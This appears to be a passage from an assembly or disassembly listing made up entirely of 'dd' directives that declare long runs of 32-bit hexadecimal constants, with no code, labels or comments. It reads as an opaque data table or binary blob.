6A848FFAh, 68AC0AAEh, 2EED08A1h dd 10850CDBh, 40338062h, 0C4A5D22h, 0C930D2Fh, 0FFFB85Eh dd 0FA374E84h, 3A24452Eh, 71CE8FFh, 0D2137716h, 0C3271F45h dd 82A85F8h, 98D58141h, 5871302h, 0D0C3F181h, 0C62AD61Fh dd 318E1B6Ch, 0D178336Dh, 0BAC5A2ABh, 953C4A95h, 0F921D362h dd 30C5477h, 0C2FBA2Ch, 1CC579D1h, 532E26EDh, 4F214127h dd 0D4018E2h, 0A57F426Bh, 7CA1512Eh, 372FDC30h, 76204EFAh dd 0F22B215Eh, 0D13C2EEEh, 48465456h, 49025127h, 0A6B3221Bh dd 21905060h, 0E42596A3h, 89233C7Ah, 9B1362F6h, 47C0445h dd 8BB10D99h, 5C6EDD34h, 46E50856h, 0F43C8BB3h, 93895610h dd 105A62A1h, 9D82972Fh, 4D3C0D40h, 423585C9h, 0EB0AFE32h dd 8BFC7828h, 0F82AA430h, 479E0B10h, 15F39415h, 0A5B2AA11h dd 0DD7ADDEBh, 2A44A07Dh, 0C6E1C745h, 0D6C56AFAh, 91C194A7h dd 8264D124h, 5A699DC4h, 91058503h, 164C600Ch, 826818A0h dd 0F5011101h, 0B22E9600h, 0E4C412BCh, 95BE2BB1h, 0FE15C50h dd 0EB677A57h, 299CC501h, 0A5DEFDC3h, 39F34194h, 0D18E9C2Dh dd 0BC071A9Dh, 7A1AD175h, 0BED32317h, 8A0A2E31h, 2EFFE427h dd 124B2909h, 0A84C0350h, 1686ACFh, 32F462FDh, 4718BADEh dd 475B9106h, 0BD53C1F6h, 0B28A60DFh, 7DB2AAAFh, 0DFCE4426h dd 6C57ED9h, 0BEDCFD79h, 0C7CCEE26h, 3DF35933h, 0F2F6D8DBh dd 0E43B58DDh, 115D7EB4h, 5492063h, 73D2C498h, 96248246h dd 85D8801Bh, 181EB6Dh, 4B10ABA3h, 6A80D34h, 37578480h dd 9DD20215h, 21D74481h, 371EA082h, 0F8AB9D8Ch, 3311AFE2h dd 0CE3BBCBEh, 4BFC531Dh, 501A6A69h, 0DE78398Ch, 965D1B17h dd 337D1C30h, 0AEFF66E2h, 44356718h, 43E437CCh, 1AC218CBh dd 0C5E722EBh, 0A411FFEFh, 90A933EBh, 0CD8C5546h, 12CAB092h dd 0C9029FC6h, 0DC521A16h, 869B5CF5h, 0A040A6FBh, 0BAA40DCCh dd 7580A233h, 3C109209h, 0F9B4D030h, 0A6AD9E2Fh, 7A9604D7h dd 8B98BFC0h, 542C1C0h, 84ACED4h, 49C29116h, 34F51304h dd 6454C5C4h, 0A48AE5DCh, 859578D9h, 9FA7A906h, 6E0DE785h dd 0A8AB76A6h, 471EAB65h, 5DDD397h, 71F798AAh, 38C0D9F1h dd 84A11BC2h, 52E2FA03h, 0BF2F1E52h, 0A2AA2CF2h, 3330F68Fh dd 0BB621F89h, 4018FF83h, 0B2ED19C8h, 3046943Bh, 4E12C031h dd 9B069A23h, 0B6C02C49h, 6C252488h, 0EC28ABBh, 95A76315h dd 3E0A726Eh, 87E24BD4h, 47E904E1h, 0CCA847FAh, 527980Fh dd 16AB4B8h, 31DEEA0Fh, 4B6CD80Ah, 0E1B54EB9h, 14A632Bh dd 8A2ECCF4h, 94ED32CDh dd 0AAF1A7CCh, 0E370608Ch, 94F882Eh, 9D3A8B39h, 0BEBDA202h dd 0C4A88C11h, 5FA3033Dh, 0F002C42Ch, 9B50A087h, 6614E893h dd 5A0ADE98h, 4096D05Ch, 0EB95F183h, 80DB08Ah, 0A866B328h dd 0BEFEFB80h, 9C91521h, 2F482B18h, 5F0C75D4h, 0D0883505h dd 0A8CE5214h, 5D0D0B18h, 2CD303F7h, 0ACF89C8h, 5A5A1A09h dd 0A0C040E2h, 1285598Ah, 0F9D771B7h, 1F9EE93Fh, 91B522FBh dd 48B6576Eh, 30A1F4C6h, 39D72CD4h, 172BBC51h, 0C4C566F9h dd 32AFD8BFh, 83EA4313h, 0EA31FAE1h, 0BC2A508Ch, 32597581h dd 0D30AD027h, 0A2B08824h, 0F18D27E1h, 67676917h, 287F0AFEh dd 37254620h, 635AEF09h, 77B4A8CCh, 85446A36h, 1E6736FFh dd 462E389Ch, 5425DB9Ch, 852091CCh, 100292D4h, 0A062C759h dd 101E9168h, 532C60ECh, 0B904BF01h, 9F547500h, 89D703C3h dd 64CC3150h, 1ABA2CECh, 49015A71h, 271D3BF5h, 9056CC2Ch dd 157E1161h, 45E3B054h, 0A0E16B85h, 98A82786h, 32FE880Eh dd 0B31480BCh, 0D32B5D0Ch, 1F5F8049h, 37AB0517h, 4458A231h dd 110ED94Eh, 52383047h, 3BAF82B6h, 1898889Ch, 47C0103Ah dd 0EFD30BC3h, 0E55C065Dh, 439A1B0Ch, 0F463EE11h, 5D59654Ch dd 0E88A7BF9h, 1068755Ch, 0C00712EBh, 9A2BAB9Dh, 15E21E46h dd 6A37FB53h, 0F037C8EEh, 8F069317h, 47D7080Ch, 0CE760240h dd 0AEF40D55h, 279151C8h, 2AD1FAC9h, 0CB0D846Ah, 6AD3DA1Ah dd 9681E840h, 9ECFC0FEh, 82DF9182h, 10924988h, 0BE7007F1h dd 0ABF89E0h, 0A5F1F980h, 67288E10h, 98A0615Ah, 52FCEC55h dd 504BE865h, 0EFD9E0FFh, 81DD94B7h, 0BE8E31E1h, 47A42112h dd 4AC1220Fh, 0DFE4DD7Fh, 4B9D0EFh, 100C03B1h, 705E583Fh dd 561D7A7Eh, 91A5274Fh, 0B5F1B060h, 3006241Fh, 0ABB3FF17h dd 8536637Ah, 6214550Ch, 8C0F20E6h, 0FF5D0E4Eh, 0A2438D3Bh dd 86418DB3h, 1E06F057h, 4504EFBFh, 87A9A2BFh, 0FE61C0CFh dd 4A8F1FC1h, 0CACE1729h, 46B60924h, 0B07E274Fh, 0BE1CE81Dh dd 70979270h, 30B5F3C0h, 392018h, 3EE09CAh, 79938DA4h dd 2B4008h, 1D8294ACh, 8E298C01h, 0AD1A523Eh, 0F70688D8h dd 70A102ABh, 0DB074085h, 941A6ECDh, 0E622C681h, 4B050176h dd 510D8DAh, 2409813h, 9916CE21h, 4851A226h, 0F382C830h dd 81A38223h, 292CC6Fh, 8E0018C2h, 2862F01Dh, 0BF938C51h dd 897B5044h, 24C7943Eh, 25711264h, 87D07931h, 5B08E540h dd 104A48A6h, 21297B0h, 122AA5F0h, 22A9A97Dh, 2B8D97E1h dd 0C4207F12h, 0F027822Fh, 29434607h, 0A540F864h, 895C2C78h dd 0C2AF046Bh, 64181268h, 3143614h, 18129E46h, 990E63EBh dd 0A3098A4h, 0DBA4D806h, 2F935898h, 0C074C468h, 0AB9F92ACh dd 0FF589113h, 83C34486h, 0A234E43Fh, 0CD60D09Dh, 0E0CC0C32h dd 0F9680E31h, 1666C829h, 0A2767886h, 0C16D4095h, 0F5CC2748h dd 9669074h, 3710A468h, 0C1C00022h, 64E9364Eh, 84362D4Eh dd 0F313343Fh, 4CDCC2Bh, 0E35808C1h, 2F672776h, 0E6C63F73h dd 0D906BD97h, 8BE93055h, 0EDD20A39h, 6819ACEh, 461D02E2h dd 185C449Ah, 3B8F97Eh, 0CA257308h, 4896C011h, 0A25C9C4Bh dd 68A3B12Dh, 2187499h, 528A8915h, 2882C245h, 86242455h dd 42454552h, 24555528h, 19205282h, 0CFA998Fh, 0FC4CF00h dd 193C3EE6h, 0E62EC086h, 0A6626661h, 3661062Dh, 51461E04h dd 0E6303C60h, 0D0106E36h, 1F7E038Dh, 0D3C44A1h, 9D401335h dd 0A15C3B02h, 98CD4BCBh, 24A60BA4h, 0A3BC8409h, 0A81BC86h dd 1D8C1F44h, 45088EB4h, 860F82ACh, 29C219A8h, 86FA8304h dd 6CEC280Dh, 0D95E58B5h, 80611A08h, 84AC8F82h, 53159CCBh dd 8AF7BA4h, 0FEBD02A1h, 281A4D6h, 4598CFF0h, 405CE44Dh dd 72915903h, 7044BA49h, 0EBC63929h, 90D1B205h, 890A7318h dd 0E400BE31h, 0EB09210Bh, 0FBF8CC32h, 2356FB6h, 3BD87851h dd 36423018h, 1B0107A3h, 0CF4EB148h, 0D5574784h, 9307B60Dh dd 5E685647h, 37E83DDEh, 0B41D6460h, 6C02792Dh, 1FD84Fh dd 0BB05AF51h, 150462E1h, 0B04209A3h, 0C81DA0B4h, 0D2051CD0h dd 73FF1FD7h, 2FDC89B9h, 392E96Eh, 10107E0Ah, 0B611BBACh dd 0BB63A67Dh, 242F1218h, 0E9709308h, 50D642C1h, 0D94A40AAh dd 0A0186A0Ch, 7E0FE51Bh, 9C3BDEBEh, 0EFD8FA21h, 0D25DAC0Bh dd 9555F69h, 9517EB35h, 77F33E75h, 0F0C48D8Ch, 0F22B7232h dd 9E07E040h, 5177A07Ah, 20CA103Ch, 7A9D5D99h, 11546215h dd 3BC25B15h, 0E301A3E5h, 314FD26Eh, 0C1A531F6h, 0F46C5FDh dd 0F4597A2h, 52909C74h, 602E708Ch, 75FAB390h, 6F468521h dd 11BED7ABh, 78DB270Ch, 0DD8607BDh, 65F0F7FCh, 22840584h dd 0F05D9402h, 0A8309138h, 8C187886h, 0D98F30C9h, 0DF7FB37Fh dd 539F8110h, 15C2D7B1h, 2E7A0353h, 1CB07036h, 0DC315C6Dh dd 0A8CF1AF0h, 86624019h, 45305FECh, 66B81AB9h, 1B0B20FBh dd 3B9FCB41h, 0CDC10106h, 42ACB256h, 6494C403h, 4386D60Ch dd 33800825h, 6D0CC582h, 82347060h, 3CB6406h, 0AD73406h dd 80EEAFC6h, 0E2576D8Bh, 4307BFFFh, 30E1E81Fh, 6A59F069h dd 606E34B5h, 27EF7D09h, 0B099E8Ch, 14903156h, 0FFC39315h dd 616F1208h, 2F39E226h, 981D91Ah, 0F078B8DAh, 0FE455A95h dd 0B7F16051h, 35C2BFA8h, 0F8383BFFh, 5E382AB1h, 0C3C1FAB5h dd 93C1CA31h, 334BDF01h, 429B7791h, 9CB4D57Ah, 220CBD16h dd 0F1A955Dh, 92F90A58h, 844E2779h, 0C6836D3Ah, 2DA0E6BCh dd 7381ABBCh, 5BECB4C2h, 5799BA38h, 0E53CB093h, 567C3B21h dd 270DF07h, 5A2209AEh, 5E603331h, 0C014DA99h, 0DE1D808h dd 45720CACh, 0E8CEF204h, 0C17018Eh, 1964B9AFh, 0EE74E521h dd 840D051Fh, 0B89824FBh, 43DD70BBh, 0ACB5A653h, 871768D8h dd 0A4BFDC17h, 0A4FA8D9h, 0C7240BF8h, 0A83C50EEh, 2B4E975Ah dd 5457E4EDh, 0A014C92Dh, 646142D1h, 11C081DDh, 42D27353h dd 55D181B5h, 0FF6C65Eh, 9412422Eh, 1DE5B30h, 0D0AC3F62h dd 1480E416h, 8C4C700Ch, 7A2A7AC1h, 0F5DFD7AEh, 14EED2E3h dd 0DEFFC02Ch, 7587170Bh, 0DF84833Dh, 6E1C3080h, 0ED03A45Fh dd 0F68882EBh, 3103160Fh, 70180E57h, 802BCB0Dh, 68E1D632h dd 54E695B5h, 0AEDF1225h, 4B712371h, 0A88D8B86h, 65E959C0h dd 0DD7D105Fh, 1FA38DF3h, 0CE48028Dh, 3D8DFFh, 819BE0BFh dd 5120AA5Fh, 253CE896h, 1FF028FCh, 6A7C051Dh, 9F4C0978h dd 0FBFE0C2Eh, 6440DF66h, 0E63B2B66h, 7F3B2D80h, 9DFBE724h dd 63F36D2h, 5CA5EFD0h, 0C965C098h, 108A57F1h, 4D522553h dd 0E431A90Ch, 4E11189Fh, 8C1F3C5Fh, 18A296A4h, 3AD901D7h dd 0D750C86Eh, 0CA8A6A40h, 2C7F5B47h, 841F5AEBh, 0EF5CC28Ch dd 8D62FF03h, 82495420h, 8079B387h, 0ABD900E1h, 8CB6911Eh dd 0B133421h, 5559A2Dh, 863A0A15h, 838AE530h, 0B63BA41Ch dd 13FA625Ah, 0A1415003h, 702EFB8Bh, 0A35032C1h, 0D85D1F83h dd 52085073h, 0C6239433h, 2A0283Fh, 89AEA99Fh, 0E12C4890h dd 0D1DCA46Eh, 40CDCF39h, 0A79A8B1h, 786378A5h, 259455D3h dd 53556C63h, 0E80DC0ACh, 71E1B743h, 0A01F2A9Ah, 18DB622Ah dd 7BD8A6FEh, 7FD04628h, 1C4BF598h, 0D3536387h, 0F8BE0A8Bh dd 7B186879h, 0B234068h, 0DCCBF8EEh, 701F6CADh, 85759105h dd 0CB100290h, 0F34D3998h, 87939A30h, 703B18AFh, 1A99B044h dd 57D09BAAh, 50BCD518h dd 1C43D119h, 3FA08031h, 62BAD052h, 0BB54DD0Bh, 7DA37D62h dd 0C4FD02BAh, 0DC4880ECh, 0B6FE8C0Bh, 53B02614h, 5822189Eh dd 6C2D8144h, 0D93B398Bh, 31D40857h, 88042200h, 96D25F44h dd 33D417EFh, 315735F4h, 3B170947h, 66556204h, 2DEB66F1h dd 0C1F6CEC2h, 0E62E8485h, 0CCB07354h, 2332A721h, 0C1664CEEh dd 21EC260Fh, 73D2526Ah, 105B575Ch, 71254774h, 0B84D74Dh dd 0E2081C29h, 60175006h, 0A32ECC80h, 9211B207h, 0D7CD8978h dd 3AADBAC2h, 3368D26Bh, 5C8041DAh, 0C2AAE14Bh, 5D69E978h dd 78850B49h, 67F5A79Dh, 2BE22AEBh, 0C4AEDC22h, 7C9C69C6h dd 0A4123E9h, 4571BAB2h, 29D843C7h, 0DA735B5Fh, 0AC53D826h dd 59D4CC1h, 17E20179h, 0C63D221h, 0AD52C0FDh, 2445D929h dd 0F2341AAh, 46C4394Eh, 6197D349h, 3BA3CC40h, 0F0422203h dd 0B309C32Eh, 8F00DF0Bh, 0D4B30088h, 0B0BA84D6h, 5A38E63Ch dd 916A15Bh, 0BAD2944Ah, 5ECCA53Ah, 41281279h, 5B851BEFh dd 87ACFCE5h, 510C85A4h, 70A40F25h, 33C04C0Bh, 0A85A893Ch dd 8E609B10h, 0F41FBFD6h, 0B21082AAh, 191A034h, 9BA55603h dd 21229159h, 6CD2CE7Dh, 866C928Ch, 5801ED8Bh, 305FF12Ah dd 19245A40h, 0A1030DC1h, 0D1FA224Eh, 4A5505C1h, 0D7C3AEE0h dd 0D4A70093h, 6062B263h, 5019D14Eh, 0A8983678h, 1069C621h dd 0AA2C1BCCh, 22939972h, 856C7D15h, 0B11692F0h, 78C50480h dd 0D70AC737h, 6BBE0763h, 61A86026h, 5C32A580h, 566B214Bh dd 54CB35Bh, 430C463Ch, 4318A069h, 0F6C03137h, 808DA6E2h dd 0F3AA2CC6h, 0CACD4160h, 1C0EF7EAh, 0FE8E0B8Eh, 0E9B7F783h dd 9D304628h, 4A284238h, 0CA32A323h, 15B6E99Ah, 570E5400h dd 35590131h, 0D9C3074Fh, 35F11505h, 69C383EFh, 2E791502h dd 28781EDh, 0F0741461h, 23EC80EFh, 97717E80h, 5CC24BC8h dd 1F682EA2h, 0BE32AE1Ch, 58F1EC89h, 8CF14C6h, 15704980h dd 6F1512A8h, 0D852E077h, 1C4FD34h, 51D1116Bh, 21C8D6DCh dd 443C82DBh, 1679031Fh, 0CD77FE86h, 0D852C383h, 0CFFA611Ch dd 537011D3h, 0F44A45C1h, 85CAE074h, 0B6C011F1h, 257CC803h dd 963111BAh, 5A724B08h, 0AFC2CA2h, 7000AE1Ch, 23DC906h dd 855C6790h, 0F17B84BDh, 7D9C3815h, 3293A816h, 268B5810h dd 8A818BA2h, 0C4378F8Bh, 0A5FE7564h, 960F2003h, 9D9432BFh dd 0E7558D04h, 3FC0AF5Ch, 182E207Fh, 0F95C7B85h, 3C34B7Eh dd 95970492h, 180B60BCh, 302C066Dh, 1189707Fh, 70A26C33h dd 70706118h, 34DE0DC0h, 624F5032h, 0A52F58h, 0ECEF80F2h dd 8FBB2386h, 0D61B22AFh, 2DEC07DDh, 0B116A8Ch, 9011D06Dh dd 1885AD83h, 0D081027Dh, 598B287Ah, 0B7084EABh, 4C42C471h dd 0B3C8117Ch, 4108248h, 5189190Ah, 0F5E0348Bh, 1EC17AFDh dd 0AD289682h, 6688CE59h, 46D3020h, 2BE05009h, 1487D7EDh dd 0A2B0F47Fh, 0F147F485h, 0AD57875Eh, 172EA1C3h, 0C41587E1h dd 174CF4BEh, 0CD76DA1Ah, 65D6749Ch, 386E8A54h, 7F645208h dd 663B524Ah, 8BE40F91h, 2A01B698h, 4A81CB00h, 3BE329B5h dd 8B7C4225h, 0F8A4DCBCh, 0F306458Bh, 57FE732Bh, 12C9952Bh dd 5B59A652h, 868D11C4h, 2692BACEh, 8FCD885Ch, 43F8D8AEh dd 60367ABAh, 0E6B9F059h, 5DBFCA9Ah, 651C1FFFh, 0C0621AADh dd 83A83C48h, 1571A10Ah, 90E7D181h, 4A804886h, 8528DA89h dd 5548E02Eh, 0F26E03D2h, 0BCAFF4C2h, 11C2BDEAh, 472E86BCh dd 5EBDF101h, 85BBB2FFh, 959F8ADEh, 0B3BAA7C1h, 1E315C68h dd 55892120h, 143710B4h, 2BE7B467h, 32A683A4h, 3BB0DAA4h dd 0A3F8A79Fh, 713E962h, 390FDBBCh, 4D1C75FEh, 155C39C3h dd 829B86D8h, 0CC748794h, 80368F32h, 78A41506h, 281C49BAh dd 0B0185108h, 4FC84AC0h, 0C6124135h, 50B363EAh, 60275CF6h dd 0C7DE25E1h, 38D921Ah, 782F92B5h, 484F66EAh, 214A2617h dd 0CB151C29h, 5E2E7D94h, 0B580069Eh, 224790D2h, 0D4E4F84h dd 0EB17D915h, 0D1204032h, 20C80A52h, 0BD018382h, 9327086Eh dd 0A5F7A30Ch, 0DFC0D4CFh, 6ABE3310h, 0F314DF73h, 0CA6B8C5Eh dd 0FDFC7CDh, 7B897A11h, 6CC772D4h, 0EAEC953Eh, 0D1606742h dd 3E3815BCh, 90551612h, 345F56D2h, 0EA73F02Bh, 999F0ACAh dd 0E6CB4442h, 0C775B8DCh, 98FA89D8h, 9586089Dh, 0A4EF5C8Bh dd 64153108h, 0B84C9576h, 710209Eh, 24263F5Eh, 0C8033F8Eh dd 0E1241D3Dh, 0CA7D314Ah, 0A1E558FAh, 0FB70A338h, 0F74934h dd 8D276101h, 24F55D2Ch, 5209F198h, 17EBD341h, 0A20B854h dd 0D83FAC70h, 906325A7h, 6800C09h, 5DCD037Dh, 4B1504C0h dd 0ED2733F5h, 8A401882h, 0C28EFB16h, 347E5A3Ch, 0A700C9D7h dd 6ECC4445h, 0F72B181Fh, 2D186F93h, 54303E4h, 41802EBh dd 0E658F86Eh, 0FD852240h, 8587E3Eh, 3CC6ADC0h, 1626E016h dd 0A6623628h, 441870E9h, 3AEB802Ah, 6F400446h, 59CE1C05h dd 0AF997397h, 0D04B34A4h, 0E0D44C67h, 0FE5CBFAAh, 5912FE2Ah dd 8C8FA2EBh, 7819A22Eh, 5E73268Fh, 0D027AE82h, 99CE157Eh dd 8AA25448h, 0E7A87E02h, 0B224E12h, 3006ACEEh, 4136A9Eh dd 4497BE89h, 69841ECh, 852F25E6h, 0C691F224h, 7812101Ah dd 41F42289h, 1DF58C22h, 7B843100h, 28ABD155h, 91B74155h dd 0A1C2F738h, 0FBCE0991h, 8580CC5Eh, 5486444h, 0BCD0C771h dd 99C9D915h, 2EBEAC0Dh, 87695A31h, 0BFA30DF8h, 0F2FE4016h dd 0EA8C11AAh, 0A8C360A8h, 32B35BCEh, 0BADA33AAh, 20471A76h dd 0B131ABE4h, 0CE561DD0h, 55083012h, 1A194D57h, 1D7700CDh dd 9D1AA8A0h, 68D16BA6h, 290B2E6Ah, 6BFCD26Ch, 0D1008633h dd 0A889452Eh, 0A182297h, 9064A5F6h, 0C3513EB8h, 39DA08C3h dd 4560505Ch, 0E430CC79h, 0BCE1E380h, 0F4FB8D7Eh, 588282A5h dd 14E74681h, 0EBC2E442h, 1755E17Fh, 0ACF5043Eh, 2117C239h dd 9403C5Bh, 8C2DDC75h, 0FD6F59C9h, 6784CE07h, 18A2421h dd 0CA54798Eh, 0CD484981h, 835FAEB6h, 988E77Ch, 0FF9B9B94h dd 0C452E2AFh, 20A52AF9h, 19F9BECh, 40FBFA09h, 0FCF53125h dd 6D17E349h, 72B2D2E7h, 0E0B49729h, 771BAD1Fh, 5F0AC835h dd 62F30249h, 346BA153h, 95C4363Fh, 5A01A4D9h, 8F5C9BCAh dd 0CD1207Dh, 0ACDD62ACh, 81D8A049h, 0A19B2518h, 0A282621Ch dd 7A5A70A7h, 9D4C305Dh, 0D27B2ECFh, 0D0C3D088h, 600360E9h dd 1C714EDEh, 87E00D1Eh, 0F5F97095h, 6B59BE1Ch, 4A8343F7h dd 6CFD5224h, 0AA024DDFh, 27312896h, 1D73BEC3h, 0C00AE63Fh dd 423DDBEBh, 6E90F573h, 9A3C76ACh, 5DE4BAD5h, 0E9936D25h dd 0E4B3C721h, 992B451h, 0B08D58D6h, 91CB29E4h, 0A4B02643h dd 0B420C987h, 0ACABB7F8h, 0F23B053Fh, 60A38028h, 8A1D4318h dd 4C4438A8h, 0C31D2316h, 14C35E8Eh, 3C10EE56h, 0F186D83Eh dd 458668C6h, 860CA8D4h, 0C093C6F0h, 4357D1E9h, 21AFFDF8h dd 22A71202h, 6602E387h, 1E043ED6h, 0D6024E35h, 1134580h dd 0ACAE4C43h, 0BDAA6FECh, 0A18D0CAh, 83E710B9h, 7AFDBEFh dd 0DB35AB37h, 94CDE2A2h, 0E7940DF3h, 7C739123h, 120BF463h dd 4628AE65h, 75F2E084h, 0A5BC381h, 0C456A967h, 198AC418h dd 828750D7h, 9D5B815Ah, 9F8FE07Bh, 81E20A4Eh, 5F0683EEh dd 7483A993h, 1DA113B3h, 768B255h, 0B63C2B30h, 58122200h dd 9F811261h, 7636958Eh, 0C0488264h, 0C5F04089h, 0D158897h dd 4B12EBEDh, 3E1DE53Ah dd 85992B72h, 0BB636DEDh, 0AD531F4Ah, 6C6C85EAh, 0F8CC39D9h dd 0DB758A7Dh, 0F07D8D23h, 777A7583h, 7B4A3EBBh, 4AE9C921h dd 194B158Bh, 0D7D6251Ah, 0F1830405h, 0B05E1700h, 0D21AA877h dd 0F32381Dh, 0D7E6C108h, 56EBFA5Dh, 0B45E143h, 901DCC7Dh dd 23E14CC9h, 1E67D0FCh, 0B116812Dh, 0F419B83Bh, 0F415BEF6h dd 0E33102F3h, 1AF68C94h, 0C8A0C32h, 2C4662F2h, 0BC944596h dd 0F27462F3h, 0EBC6B128h, 5C633132h, 790A0E8Fh, 1C9103E2h dd 24CF80A6h, 6CBA1468h, 0A01A42Ah, 718202B1h, 18B143B0h dd 58A451F1h, 35940B61h, 19AB5140h, 0A76102ACh, 60707AA2h dd 405C7FE1h, 8AECAC05h, 638763Dh, 370D93DEh, 0DB5A9078h dd 0E4516CE2h, 140ACE86h, 4EEADAABh, 0C4129836h, 44FA300Ch dd 3524FE0h, 10C4E287h, 0E2412056h, 328DB1F6h, 52F115A9h dd 228D185Dh, 0D7A21B09h, 3239C736h, 0D8F592FBh, 7FDA4967h dd 76CAC354h, 88032CB0h, 0FE30863h, 66429537h, 3EECC726h dd 2D727102h, 0CB375D9Fh, 12F99079h, 546FFE69h, 4EA8E9B1h dd 0F04BF88Eh, 0E12FE5AEh, 4B2BA319h, 1BCCBF44h, 0E61A6A97h dd 908AE873h, 0D953338Dh, 668DB32Eh, 0C3776D78h, 76DA72Ch dd 3A39C717h, 211F7B4Eh, 990AB2F0h, 0F3E94A2Ch, 0B6E46BAh dd 42DAEC5Ah, 22164168h, 5CE248A3h, 33A78234h, 0BE0CA56Eh dd 15167AE9h, 0BA4C8473h, 19766B0Ch, 1668DB63h, 0E0D7246Dh dd 0B02A565Fh, 0A0FA72D5h, 56631A11h, 0B87B1330h, 3664CF99h dd 3341402Ah, 4F6E8CCBh, 0A6E57DD0h, 2D188252h, 0E246B668h dd 36C44446h, 4C088000h, 0A28455E0h, 0B8234C0Dh, 2CA6868Ch dd 0FF652CF3h, 0B2D20F93h, 5458A0A0h, 0A2853F1h, 3AE167F4h dd 2C5FF388h, 0B8918690h, 7AB31FF8h, 1635660Eh, 0BBC2373Fh dd 87E3D63Ah, 0FDC7CD41h, 58FD354Ah, 701555A3h, 0B6CB0813h dd 0C57D4932h, 0ACEF147Fh, 0BEC98938h, 5589BF5Eh, 0B7B6733h dd 89C4DAFDh, 63E51945h, 0C677852Ch, 0C5F06247h, 55A26D80h dd 8E0FFD76h, 0FDBC602h, 8C58E211h, 2C287216h, 5881D14Bh dd 5D844520h, 6500B029h, 1028D63Dh, 0E32AF0A1h, 0BA42684Ch dd 0A2B930E3h, 4CC2640Eh, 0BAE49A3h, 0FD9BD1A2h, 77C6DF86h dd 847236BAh, 66C8BAC1h, 0E8088BFCh, 0E0DA019Fh, 0A8EC05A2h dd 86D542CAh, 0D685A28Ch, 461535E8h, 0CE9EB10Ah, 3E2A8859h dd 0C75248h, 3D75C36Ah, 0F2B8080Ch, 86BC07A8h, 1F4F0D2Bh dd 268A0B3Dh, 0BE4A8A5h, 9F7F53B1h, 2B13DD7Eh, 5629838h dd 8DCAB644h, 95B103Eh, 8421D3Bh, 4E56BC20h, 1B0496ECh dd 109DCB7Dh, 0F7ED88A0h, 60CA4A19h, 306613ECh, 0AB0A9156h dd 881E2034h, 1046EC61h, 28608A25h, 0FD74563Ch, 5A2810F4h dd 86901620h, 5B8CAEB5h, 128CC620h, 11038B7Ch, 213A044Dh dd 1D287E66h, 34E2094h, 0E35765DAh, 0D72E6812h, 8E988739h dd 3D2DDC76h, 0DCA4BBFFh, 0D97901ACh, 36DA380Bh, 6391D5D6h dd 2040E0A9h, 0FC9B0754h, 166371DEh, 649DAE30h, 65A5C468h dd 0C530B851h, 0DD72206Ah, 0A61D2086h, 570A1C19h, 8A6609F4h dd 0FDB092CBh, 0BB88BEE8h, 140F5619h, 1F96812h, 73165C6Bh dd 65F497B3h, 0B77AE2Eh, 8363BAEBh, 1701489Ch, 0BC096910h dd 0E7BE5280h, 682DCF5h, 0D9C50E45h, 0BFDC54EDh, 0A7D0E3F2h dd 0ACC5EFFCh, 7B1155Eh, 89244005h, 43E3574Fh, 0A9AE9075h dd 0C4151882h, 0D73F85D8h, 4C9D2170h, 548781DBh, 183FFEEEh dd 9C65C0DDh, 0C6035A28h, 2B621EBEh, 4CB90689h, 0C1FB1868h dd 0EC7084E7h, 9F1191AAh, 232AD24h, 5E57F5CAh, 8AA92894h dd 0B088C360h, 0FDE5B040h, 0C1BD4618h, 136BCD77h, 32E2567Ah dd 969E0B75h, 0A79520B4h, 515F05CDh, 0AAD59E47h, 0BABD496Ch dd 0EB96B0BDh, 0B6ECD61Eh, 5C146A2Fh, 0ECFB368Ch, 2CF4A361h dd 0A2A02F60h, 0E096482Ch, 0F8732C3Fh, 0C80A7821h, 0CC59C455h dd 0CFAD561Ch, 8C0473FEh, 0FB287F09h, 95545562h, 35908C61h dd 62FFB138h, 4AB10682h, 0FF677EB9h, 0C50FA2CAh, 63B4F490h dd 56A0F948h, 0DE18B920h, 1A0C8C5Fh, 0F28EF81Dh, 0B1EF85D0h dd 82325832h, 3D71BC23h, 1CA9613Dh, 9584F610h, 7707B083h dd 6C25EBACh, 0AB2B3D56h, 3D9168A0h, 7489313Ch, 0F96D572h dd 0ADAD5BFDh, 0EAC8555Dh, 5D992C7Ch, 91690585h, 3CF4F197h dd 0A762632Eh, 0CC0F5C83h, 2EB2E9D0h, 5A568575h, 0EFB0E929h dd 0B4AC6914h, 4136C870h, 65A5CA89h, 0F7CC5A58h, 1EBA5C95h dd 21215F61h, 0A85A32EBh, 38EF669Bh, 9ADA9733h, 0E1AD5796h dd 0EE571B8Bh, 170B3237h, 96E2FA51h, 892D887Ah, 780A6FAFh dd 0C39A3354h, 5AA012BEh, 13A4413Eh, 0D073A52Dh, 2D3A3F7Ch dd 0DE4C33E3h, 4A5BA4B9h, 0B45F8629h, 454114D0h, 0FC87D8A8h dd 0E8B43667h, 4C97BE2Ch, 0F695F8E3h, 30E7F145h, 84348EBCh dd 0C9979D7Fh, 0C16E5D45h, 50E47BA0h, 0A9C0E04Ah, 0B28317E1h dd 311611DFh, 686A5902h, 3048535Ah, 0BEDA4051h, 2D40B25Eh dd 6BFB5C8h, 8CC64CC6h, 5056EA1Eh, 827DA947h, 5238BEFDh dd 2AA0AC19h, 0C6079051h, 8E47CAD1h, 0A7E21230h, 0A14E1250h dd 38E8A204h, 1431A441h, 0EB2735D5h, 0EA505BA3h, 697CD927h dd 88D1A73Bh, 289D51A3h, 0A7B3845Ah, 91F5104Eh, 0A24AA228h dd 0A4CD7ABEh, 0D781A287h, 83E4CC5Dh, 42FAA9A0h, 6974B333h dd 5522EBD1h, 8A87996Ah, 0F75A443Dh, 8F484EA1h, 2C2951Ah dd 0C7446400h, 0BD3A7179h, 0AE50F514h, 6A850252h, 539E0A67h dd 88A40CA8h, 1CE48AFFh, 8BD3B1E5h, 0F3CE3DC3h, 493B312Ah dd 0F0A574F7h, 4CC443C7h, 59625CA0h, 0C7AA0AFDh, 3980170h dd 2831695Eh, 2BE120Fh, 0FF0D18DFh, 0E262C7D9h, 0E1F341F9h dd 0D7CEE2C4h, 831E8E55h, 1C3211h, 0B029E31Eh, 0FC4088B4h dd 0D4EBD45h, 630B353Bh, 2FFD6D21h, 0DEF631B4h, 0E26CD2h dd 0D53618B2h, 2811F608h, 73784785h, 4F158C49h, 4E3BCBA4h dd 2F240AA1h, 738B263Ah, 2FB1E545h, 3CCF6Ch, 0B0125753h dd 6FD4710Ah, 0FAC71985h, 7B40FF10h, 3F8FF9CBh, 16E73F38h dd 2E71FD60h, 0AC0393E3h, 0E49440F8h, 9D341758h, 0E10607AEh dd 6C914247h, 0B4F6FCCEh, 62E89E23h, 1D8B33D7h, 63C44C6Dh dd 0EE31A4D9h, 671EF799h, 1CEBD82Ch, 0B917769h, 4D8EB28h 